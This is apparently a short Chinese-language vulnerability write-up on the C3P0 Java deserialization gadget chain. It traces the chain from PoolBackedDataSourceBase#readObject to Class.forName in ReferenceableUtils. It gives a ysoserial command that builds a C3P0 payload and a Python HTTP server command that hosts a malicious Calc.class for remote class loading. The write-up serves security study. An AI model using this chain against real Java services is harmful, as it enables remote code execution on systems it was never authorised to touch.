C3P0链分析
环境搭建
1 | <dependency> |
URLClassLoader链
- gadget:
1 | com.mchange.v2.naming.ReferenceableUtils#referenceToObject;--> |
- 打个ysoserial C3P0的payload先
1 | java -jar ysoserial.jar -g C3P0 -a "http://127.0.0.1:9999/:Calc" |
- 启个http服务,下面放个Calc.class,静态代码块放点恶意代码
1 | python -m http.server 9999 |
漏洞分析
反序列化
- sink点:Class.forName出现在
com.mchange.v2.naming.ReferenceableUtils#referenceToObject,第二个属性为true时,会触发加载静态代码块中的内容
- source:
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject,需要满足readObject的类实现IndirectlySerialized接口,看了下对应的实现类com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized
- 通过ReferenceSerialized类的getObject方法连接到sink触发的方法
- 总结:sink的触发限制条件是传入的类要是IndirectlySerialized的实现类
序列化
- writeObject的类
ConnectionPoolDataSource本身没有实现Serializable序列化接口,抛出NotSerializableException异常的过程中将connectionPoolDataSource进行封装
com.mchange.v2.naming.ReferenceIndirector#indirectForm将connectionPoolDataSource转为Referenceable实例,最终包装成ReferenceSerialized对象
总结
- 反序列化过程中,需要满足传入的类要是IndirectlySerialized的实现类,这一点在writeObject的异常封装类中可以满足
- 序列化过程中,类需要实现
ConnectionPoolDataSource和Referenceable,最终通过其中的reference实例写入恶意的url进行加载类实例